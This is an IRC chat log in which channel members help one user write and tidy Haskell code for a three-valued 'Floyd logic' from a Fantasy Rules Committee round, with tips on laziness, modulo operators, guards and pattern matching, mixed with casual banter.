22:17:03 -!- cal153 has quit (Ping timeout: 260 seconds).
22:17:03 <oerjan> because elemIndex already exists for finding the first one
22:17:59 <oerjan> Sgeo: x:xs needs parentheses
22:18:21 <Sgeo> ty
22:18:57 <Sgeo> The more obvious way, without using accumulators, is worse because it's not tail recursive?
22:19:34 <oerjan> no!
22:19:42 <oerjan> in fact the opposite, in haskell
22:20:24 <Sgeo> So I shouldn't have bothered spraining my brain like that?
22:20:25 <Sgeo> grr
22:20:27 <Sgeo> *shrug*
22:20:46 <oerjan> because of the way lazy datastructures work, it is best to produce the initial cons cell as soon as possible
22:22:08 <oerjan> oh, oops
22:22:10 <Sgeo> I know n+k is considered "wrong", but is matching on number without using the +k ok?
22:22:31 <oerjan> Sgeo: actually your function also exists, it's called elemIndices
22:22:48 * Sgeo growls
22:22:49 <fax> what are the axioms of circular logic?
22:23:00 <pikhq> In general, what you want in Haskell is to try and *produce* data as quickly as possible. For instance, you would prefer to make the cons cell as quickly as possible.
22:23:11 <oerjan> fax: the axioms of circular logic are the axioms of circular logic
22:23:19 <fax> oh lol
22:23:49 <pikhq> But you'd absolutely hate to be doing something similar with (+), because (+) doesn't do that...
22:24:10 <oerjan> Sgeo: like case n of 1 -> ...; 2 -> ... ? i don't think that's considered wrong
22:24:39 <oerjan> while n+k patterns are either removed or deprecated in Haskell 2010 iirc
22:28:33 <pikhq> oerjan: Removed.
22:28:39 <pikhq> Completely and utterly removed.
22:28:53 * Sgeo thinks absvalue might be the wrong way to deal with negative modulos
22:29:12 <oerjan> Sgeo: why so?
22:29:24 <oerjan> oh negative _modulos_
22:29:35 <fax> what pisses me off is removing stuff like n+k but they leave if/then/else
22:29:46 <Sgeo> What should -1 % 3 turn into?
22:29:58 <Sgeo> I don't think 1 is the right answer
22:30:01 <fax> you can't have negative percentages
22:30:07 <fax> it's only between 0 and 100
22:30:11 <oerjan> Sgeo: oh right
22:30:13 <Sgeo> I'm using % as the modulo operator
22:30:33 <oerjan> % is the fraction constructor in haskell btw
22:30:59 <oerjan> the modulo operators are mod and rem (two variations with different behavior for negative numbers)
22:31:00 <fax> -_-
22:31:08 <lament> and they both SUCK
22:31:21 <oerjan> lament: what?
22:31:28 <lament> they're integer-only
22:31:32 <lament> or integral-only
22:31:34 <oerjan> oh that
22:31:57 <oerjan> there's an fmod in some module iirc
22:32:11 <Sgeo> -1 `rem` 3 == -1
22:32:21 <oerjan> it wasn't effectively implemented though when i heard about it
22:32:28 <lament> should be in the prelude though
22:32:28 -!- augur has quit (Remote host closed the connection).
22:32:32 * Sgeo goes insane
22:32:34 <oerjan> Sgeo: note that you need parentheses around the -1
22:32:35 <lament> and probably called mod
22:32:40 <Sgeo> ...
22:32:54 <oerjan> - has precedence the same as unary and binary
22:33:01 <Sgeo> So mod is what I wanted after all
22:33:05 -!- augur has joined.
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22:34:13 <Sgeo> The original FOperations were called FLeft and FRight. Should I call the Haskell versions fleft and fright, or fLeft and fRight?
22:34:14 -!- augur has joined.
22:34:31 <oerjan> the latter is the usual style
22:35:51 <Asztal> it also has the bonus of not sounding scary
22:36:29 <Sgeo> lol
22:37:59 -!- tombom has quit (Quit: Leaving).
22:38:33 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24561#a24561
22:38:49 <Sgeo> [I mean, I'm not using that code, thanks to elemIndices, but what's wrong, exactly?]
22:39:10 <oerjan> Sgeo: cur_pos : acc also needs parentheses
22:39:33 <Sgeo> ty
22:39:35 <Sgeo> It worky now
22:40:15 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24562#a24562
22:40:19 <Sgeo> Stylistic issues?
22:42:48 <oerjan> (\x -> x==Frue) = (==Frue)
22:43:44 * Sgeo is a bit too used to C#
22:44:37 <Sgeo> The test cases specified in FRC round 29 all check out
22:45:12 <fax> what's this about :(
22:45:13 <oerjan> Sgeo: i note you are only exporting the type, not any of the functions
22:45:27 <Sgeo> oerjan, I need to fix that, yes
22:45:44 <Sgeo> module FLogic(FValue(..),fLeft,fRight) where
22:45:45 <Sgeo> right?
22:45:57 <fax> aht is floyd logic
22:46:39 <oerjan> Sgeo: oh your first case can be written as [Talse, Floyd, Frue]!!ftemp values
22:46:54 <oerjan> although the case may be faster
22:47:05 <Sgeo> Hm
22:47:29 -!- FireFly has quit (Quit: Leaving).
22:47:50 <Sgeo> === and (+) are defined in valid rules
22:48:12 <oerjan> well === is a legal operator name
22:48:30 <fax> :(
22:48:32 <fax> why
22:48:46 <oerjan> fax: what?
22:49:00 <fax> I dont get this
22:49:10 <oerjan> fax: it was an frc round
22:49:23 -!- BeholdMyGlory has quit (Remote host closed the connection).
22:49:24 <fax> what's an frc round
22:49:49 <oerjan> `google Fantasy Rules Committee
22:50:01 <HackEgo> Member list, history of past rounds, and an introduction to how to play this themed rule-making game. \ www.win.tue.nl/cs/fm/engels/frc/index.html - [13]Cached
22:50:07 <Sgeo> After I finish this code, I just need to send it to 1994
22:50:23 <Sgeo> Where it may prove useful
22:50:27 <oerjan> that may not be uptodate though, i hear it's still ongoing
22:50:52 <fax> :((((((((((((((((((
22:51:57 <coppro> the FRC is indeed still ongoing
22:52:01 <coppro> groups.google.com/group/frc-play
22:52:40 <fax> I dont undersatnd aynthing!!!!
22:53:36 <oerjan> Sgeo: if you derive Enum as well, then fRight = toEnum . ftemp
22:54:01 <oerjan> fax: it's a creative game, about inventing rules
22:54:10 <Sgeo> That seems like more of a coincidence than anything profound
22:54:14 <pikhq> fax: It is Nomic.
22:54:37 <Sgeo> Although it makes me wonder why FLeft and FRight were defined the way they were
22:54:42 <oerjan> Sgeo: well it's a coincidence with the order you listed it in the data type
22:55:39 <Sgeo> There has to be a more elegant way than p <+> q = if p==q then Talse else if p == Frue || q == Frue then Frue else Floyd
22:55:56 <Sgeo> I tried pattern matching, with the first one being p <+> p, but that didn't work
22:56:24 <oerjan> Sgeo: what is clear is that fLeft and fRight are functions of each other
22:56:27 <fax> p <+> q | p == q = ...
22:56:32 <fax> p <+> q | otherwise = ...
22:56:34 <Sgeo> fax, oh, ty
22:56:53 <Sgeo> Wait, I need to say p <+> q multiple times?
22:57:00 <fax> Repeat: if/then/else sucks
22:57:07 <augur> anyone interested in a little challenge?
22:57:23 <Sgeo> fax, I meant, I thought the syntax let me skip the p<+>q thing the second etc. time
22:57:25 <oerjan> Sgeo: no, just once
22:58:17 <oerjan> actually fax's otherwise looks silly
22:58:34 <oerjan> p <+> q | p == q = Talse
22:58:45 <oerjan> Frue <+> _ = Frue
22:58:51 <oerjan> _ <+> Frue = Frue
22:58:57 <oerjan> _ <+> _ = Floyd
22:59:50 <Sgeo> ...
23:00:52 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24563#a24563
23:01:48 <Sgeo> You know, in (+), Floyd almost acts like a NaN
23:02:32 <oerjan> Sgeo: you could define fMiddle with 0 -> Floyd; 1 -> Frue; 2 -> Talse and then fLeft and fRight would be rotations in each directions of that
23:02:58 <fax> what *I* would do is just write out the truth tables in full
23:03:01 <Sgeo> What does fMiddle mean, exactly?
23:03:15 <Sgeo> fax, I just wrote directly from the specs
23:03:19 <fax> if you MUST make it short gzip the program once it's done
23:03:22 <oerjan> Sgeo: um the third option you could invent other than fLeft and fRight?
23:03:29 <fax> okay that's different
23:03:44 <Sgeo> Also, fLeft and fRight operate on lists of FValues
23:04:10 <oerjan> each of those are just rotating the result values of the others
23:04:30 <Sgeo> Shouldn't there be 3!=6 possibilities, if you count more than just what you can get by rotating?
23:04:53 <oerjan> Sgeo: yep. but rotations are the even permutations
23:05:02 <oerjan> and form a subgroup
23:05:09 * Sgeo is lost
23:05:39 <oerjan> Sgeo: rotations are those permutations of 3 that leave no element in place
23:05:51 <oerjan> this works only for 3 elements though
23:06:13 * Sgeo wonders how FTheorem processing would wrok
23:06:15 <Sgeo> *work
23:07:32 <oerjan> Sgeo: like a NaN, except Floyd <+> Floyd == Talse
23:07:53 <Sgeo> Oh, right
23:12:21 <Sgeo> Hm, a Data.Map String (a->b) could presumably be used to make an OOP-like object
23:12:22 <pikhq> Floyd <+> Floyd ought to == Pink.
23:12:25 <Sgeo> Well, not a->b
23:12:37 <Sgeo> But some thing that can store various types of functions?
23:12:46 <Sgeo> lol pikhq
23:14:35 <pikhq> Not seeing much of a way to make that typecheck, without making a single type that has constructors for what function types you want...
23:22:01 * Sgeo does wonder if the function he wrote works
23:23:26 <Sgeo> Yes, although it is backwards from elemIndices
23:23:54 <lament> Let others praise ancient times; I am glad I was born in these. -- Ovid (43 B.C. - A.D. 18)
23:24:13 <Sgeo> lol
23:24:42 <Sgeo> And quite possibly, future times may be more fun than these
23:24:46 <Sgeo> And less painful
23:25:00 <lament> once soma becomes widespread anyway
23:25:10 <Gregor> "This survey is sponsored by the Microsoft Employee Branding Team" What a hilariously creepy name for a team.
23:25:31 <Sgeo> soma==wireheading?
23:25:32 <lament> haha
23:25:59 <lament> Gregor: they walk around the campus with branding irons
23:26:17 <Gregor> That was my thought.
23:26:51 <Gregor> I hope they at least use the old Microsoft logo: http://upload.wikimedia.org/wikipedia/commons/f/f6/Microsoft_Logo_Historical.svg
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23:36:20 * Sgeo shouldn't be playing with Haskell now
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23:59:42 <oklopol> augur: sure
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